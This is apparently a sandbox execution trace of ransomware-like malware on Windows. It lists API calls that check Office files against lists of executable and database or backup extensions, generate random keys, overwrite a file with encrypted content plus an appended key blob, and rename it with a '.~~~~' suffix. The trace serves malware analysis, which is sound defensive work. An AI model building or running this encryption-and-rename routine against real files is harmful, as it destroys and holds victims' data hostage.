	[0134.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".cmd") returned 0x0
	[0134.577] lstrlenW (lpString=".dll") returned 4
	[0134.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".dll") returned 0x0
	[0134.577] lstrlenW (lpString=".bat") returned 4
	[0134.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".bat") returned 0x0
	[0134.577] lstrlenW (lpString=".cpl") returned 4
	[0134.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".cpl") returned 0x0
	[0134.577] lstrlenW (lpString=".sys") returned 4
	[0134.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".sys") returned 0x0
	[0134.577] lstrlenW (lpString=".msc") returned 4
	[0134.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".msc") returned 0x0
	[0134.577] lstrlenW (lpString=".com") returned 4
	[0134.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".com") returned 0x0
	[0134.577] lstrlenW (lpString=".lnk") returned 4
	[0134.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".lnk") returned 0x0
	[0134.577] lstrlenW (lpString=".msp") returned 4
	[0134.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".msp") returned 0x0
	[0134.577] lstrlenW (lpString=".pif") returned 4
	[0134.577] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".pif") returned 0x0
	[0134.577] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.578] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch="msp\r\n.pif") returned 0x0
	[0134.578] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0134.701] lstrlenW (lpString=".sqb") returned 4
	[0134.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".sqb") returned 0x0
	[0134.701] lstrlenW (lpString=".ost") returned 4
	[0134.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".ost") returned 0x0
	[0134.701] lstrlenW (lpString=".txt") returned 4
	[0134.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".txt") returned 0x0
	[0134.701] lstrlenW (lpString=".mdt") returned 4
	[0134.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".mdt") returned 0x0
	[0134.701] lstrlenW (lpString=".BDB") returned 4
	[0134.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".BDB") returned 0x0
	[0134.701] lstrlenW (lpString=".eql") returned 4
	[0134.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".eql") returned 0x0
	[0134.701] lstrlenW (lpString=".DBF") returned 4
	[0134.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".DBF") returned 0x0
	[0134.701] lstrlenW (lpString=".EQL") returned 4
	[0134.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".EQL") returned 0x0
	[0134.701] lstrlenW (lpString=".FDB") returned 4
	[0134.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".FDB") returned 0x0
	[0134.701] lstrlenW (lpString=".EDB") returned 4
	[0134.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".EDB") returned 0x0
	[0134.701] lstrlenW (lpString=".DACPAC") returned 7
	[0134.701] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".DACPAC") returned 0x0
	[0134.702] lstrlenW (lpString=".VHD") returned 4
	[0134.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".VHD") returned 0x0
	[0134.702] lstrlenW (lpString=".DBV") returned 4
	[0134.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".DBV") returned 0x0
	[0134.702] lstrlenW (lpString=".dacpac") returned 7
	[0134.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".dacpac") returned 0x0
	[0134.702] lstrlenW (lpString=".sdf") returned 4
	[0134.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".sdf") returned 0x0
	[0134.702] lstrlenW (lpString=".accdb") returned 6
	[0134.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".accdb") returned 0x0
	[0134.702] lstrlenW (lpString=".DBX") returned 4
	[0134.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".DBX") returned 0x0
	[0134.702] lstrlenW (lpString=".MDT") returned 4
	[0134.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".MDT") returned 0x0
	[0134.702] lstrlenW (lpString=".SQB") returned 4
	[0134.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".SQB") returned 0x0
	[0134.702] lstrlenW (lpString=".vhd") returned 4
	[0134.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".vhd") returned 0x0
	[0134.702] lstrlenW (lpString=".bac") returned 4
	[0134.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".bac") returned 0x0
	[0134.702] lstrlenW (lpString=".mdf") returned 4
	[0134.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".mdf") returned 0x0
	[0134.702] lstrlenW (lpString=".BAK") returned 4
	[0134.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".BAK") returned 0x0
	[0134.702] lstrlenW (lpString=".BAC") returned 4
	[0134.702] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".BAC") returned 0x0
	[0134.703] lstrlenW (lpString=".dbs") returned 4
	[0134.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".dbs") returned 0x0
	[0134.703] lstrlenW (lpString=".vhdx") returned 5
	[0134.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".vhdx") returned 0x0
	[0134.703] lstrlenW (lpString=".NDF") returned 4
	[0134.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".NDF") returned 0x0
	[0134.703] lstrlenW (lpString=".dat") returned 4
	[0134.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".dat") returned 0x0
	[0134.703] lstrlenW (lpString=".DBS") returned 4
	[0134.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".DBS") returned 0x0
	[0134.703] lstrlenW (lpString=".CKP") returned 4
	[0134.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".CKP") returned 0x0
	[0134.703] lstrlenW (lpString=".edb") returned 4
	[0134.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".edb") returned 0x0
	[0134.703] lstrlenW (lpString=".PST") returned 4
	[0134.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".PST") returned 0x0
	[0134.703] lstrlenW (lpString=".dbf") returned 4
	[0134.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".dbf") returned 0x0
	[0134.703] lstrlenW (lpString=".SQL") returned 4
	[0134.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".SQL") returned 0x0
	[0134.703] lstrlenW (lpString=".pst") returned 4
	[0134.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".pst") returned 0x0
	[0134.703] lstrlenW (lpString=".dbv") returned 4
	[0134.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".dbv") returned 0x0
	[0134.703] lstrlenW (lpString=".SDF") returned 4
	[0134.703] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".SDF") returned 0x0
	[0134.704] lstrlenW (lpString=".dtxs") returned 5
	[0134.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".dtxs") returned 0x0
	[0134.704] lstrlenW (lpString=".db3") returned 4
	[0134.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".db3") returned 0x0
	[0134.704] lstrlenW (lpString=".OST") returned 4
	[0134.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".OST") returned 0x0
	[0134.704] lstrlenW (lpString=".dbx") returned 4
	[0134.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".dbx") returned 0x0
	[0134.704] lstrlenW (lpString=".DB3") returned 4
	[0134.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".DB3") returned 0x0
	[0134.704] lstrlenW (lpString=".DAT") returned 4
	[0134.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".DAT") returned 0x0
	[0134.704] lstrlenW (lpString=".VHDX") returned 5
	[0134.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".VHDX") returned 0x0
	[0134.704] lstrlenW (lpString=".ndf") returned 4
	[0134.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".ndf") returned 0x0
	[0134.704] lstrlenW (lpString=".DB") returned 3
	[0134.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".DB") returned 0x0
	[0134.704] lstrlenW (lpString=".sql") returned 4
	[0134.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".sql") returned 0x0
	[0134.704] lstrlenW (lpString=".MYD") returned 4
	[0134.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".MYD") returned 0x0
	[0134.704] lstrlenW (lpString=".DBT") returned 4
	[0134.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".DBT") returned 0x0
	[0134.704] lstrlenW (lpString=".ACCDB") returned 6
	[0134.704] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".ACCDB") returned 0x0
	[0134.704] lstrlenW (lpString=".fdb") returned 4
	[0134.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".fdb") returned 0x0
	[0134.705] lstrlenW (lpString=".bak") returned 4
	[0134.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".bak") returned 0x0
	[0134.705] lstrlenW (lpString=".myd") returned 4
	[0134.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".myd") returned 0x0
	[0134.705] lstrlenW (lpString=".DTXS") returned 5
	[0134.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".DTXS") returned 0x0
	[0134.705] lstrlenW (lpString=".ckp") returned 4
	[0134.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".ckp") returned 0x0
	[0134.705] lstrlenW (lpString=".dbt") returned 4
	[0134.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".dbt") returned 0x0
	[0134.705] lstrlenW (lpString=".db") returned 3
	[0134.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".db") returned 0x0
	[0134.705] lstrlenW (lpString=".TXT") returned 4
	[0134.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".TXT") returned 0x0
	[0134.705] lstrlenW (lpString=".MDF") returned 4
	[0134.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".MDF") returned 0x0
	[0134.705] lstrlenW (lpString=".bdb") returned 4
	[0134.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".bdb") returned 0x0
	[0134.705] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0134.705] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0134.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0134.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0134.706] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0c80) returned 1
	[0134.707] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0134.707] CryptReleaseContext (hProv=0x3a0c80, dwFlags=0x0) returned 1
	[0134.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0134.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0134.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0134.707] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25469706486) returned 1
	[0134.707] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb9bbe190, dwHighDateTime=0x1d60e1e)) 
	[0134.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0134.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0134.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0134.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38cd20
	[0134.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38cd20 | out: hHeap=0x300000) returned 1
	[0134.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0134.708] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.708] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4fe8
	[0134.708] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0134.708] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0134.708] GetLastError () returned 0x0
	[0134.708] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0134.708] GetLastError () returned 0x0
	[0134.711] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0xffffd108, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.711] WriteFile (in: hFile=0x108, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x2ef8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x2ef8, lpOverlapped=0x0) returned 1
	[0134.711] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0134.711] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.711] WriteFile (in: hFile=0x108, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.711] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.711] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.711] CloseHandle (hObject=0x108) returned 1
	[0134.712] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4fe8
	[0134.712] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSPUB.OPG.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mspub.opg.~~~~")) returned 1
	[0134.714] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c4fe8 | out: hHeap=0x300000) returned 1
	[0134.714] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0134.714] GetLastError () returned 0x0
	[0134.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".scr") returned 0x0
	[0134.715] lstrlenW (lpString=".cmd") returned 4
	[0134.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".cmd") returned 0x0
	[0134.715] lstrlenW (lpString=".dll") returned 4
	[0134.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".dll") returned 0x0
	[0134.715] lstrlenW (lpString=".bat") returned 4
	[0134.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".bat") returned 0x0
	[0134.715] lstrlenW (lpString=".cpl") returned 4
	[0134.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".cpl") returned 0x0
	[0134.715] lstrlenW (lpString=".sys") returned 4
	[0134.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".sys") returned 0x0
	[0134.715] lstrlenW (lpString=".msc") returned 4
	[0134.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".msc") returned 0x0
	[0134.715] lstrlenW (lpString=".com") returned 4
	[0134.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".com") returned 0x0
	[0134.715] lstrlenW (lpString=".lnk") returned 4
	[0134.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".lnk") returned 0x0
	[0134.715] lstrlenW (lpString=".msp") returned 4
	[0134.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".msp") returned 0x0
	[0134.715] lstrlenW (lpString=".pif") returned 4
	[0134.715] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".pif") returned 0x0
	[0134.715] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0134.716] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0134.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mstintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
	[0134.718] lstrlenW (lpString=".sqb") returned 4
	[0134.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".sqb") returned 0x0
	[0134.718] lstrlenW (lpString=".ost") returned 4
	[0134.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".ost") returned 0x0
	[0134.718] lstrlenW (lpString=".txt") returned 4
	[0134.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".txt") returned 0x0
	[0134.718] lstrlenW (lpString=".mdt") returned 4
	[0134.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".mdt") returned 0x0
	[0134.718] lstrlenW (lpString=".BDB") returned 4
	[0134.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".BDB") returned 0x0
	[0134.718] lstrlenW (lpString=".eql") returned 4
	[0134.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".eql") returned 0x0
	[0134.718] lstrlenW (lpString=".DBF") returned 4
	[0134.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".DBF") returned 0x0
	[0134.718] lstrlenW (lpString=".EQL") returned 4
	[0134.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".EQL") returned 0x0
	[0134.718] lstrlenW (lpString=".FDB") returned 4
	[0134.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".FDB") returned 0x0
	[0134.718] lstrlenW (lpString=".EDB") returned 4
	[0134.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".EDB") returned 0x0
	[0134.718] lstrlenW (lpString=".DACPAC") returned 7
	[0134.718] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".DACPAC") returned 0x0
	[0134.719] lstrlenW (lpString=".VHD") returned 4
	[0134.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".VHD") returned 0x0
	[0134.719] lstrlenW (lpString=".DBV") returned 4
	[0134.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".DBV") returned 0x0
	[0134.719] lstrlenW (lpString=".dacpac") returned 7
	[0134.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".dacpac") returned 0x0
	[0134.719] lstrlenW (lpString=".sdf") returned 4
	[0134.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".sdf") returned 0x0
	[0134.719] lstrlenW (lpString=".accdb") returned 6
	[0134.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".accdb") returned 0x0
	[0134.719] lstrlenW (lpString=".DBX") returned 4
	[0134.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".DBX") returned 0x0
	[0134.719] lstrlenW (lpString=".MDT") returned 4
	[0134.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".MDT") returned 0x0
	[0134.719] lstrlenW (lpString=".SQB") returned 4
	[0134.719] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MSTINTL.DLL", lpSrch=".SQB") returned 0x0
	[0134.719] lstrlenW (lpString=".vhd") returned 4
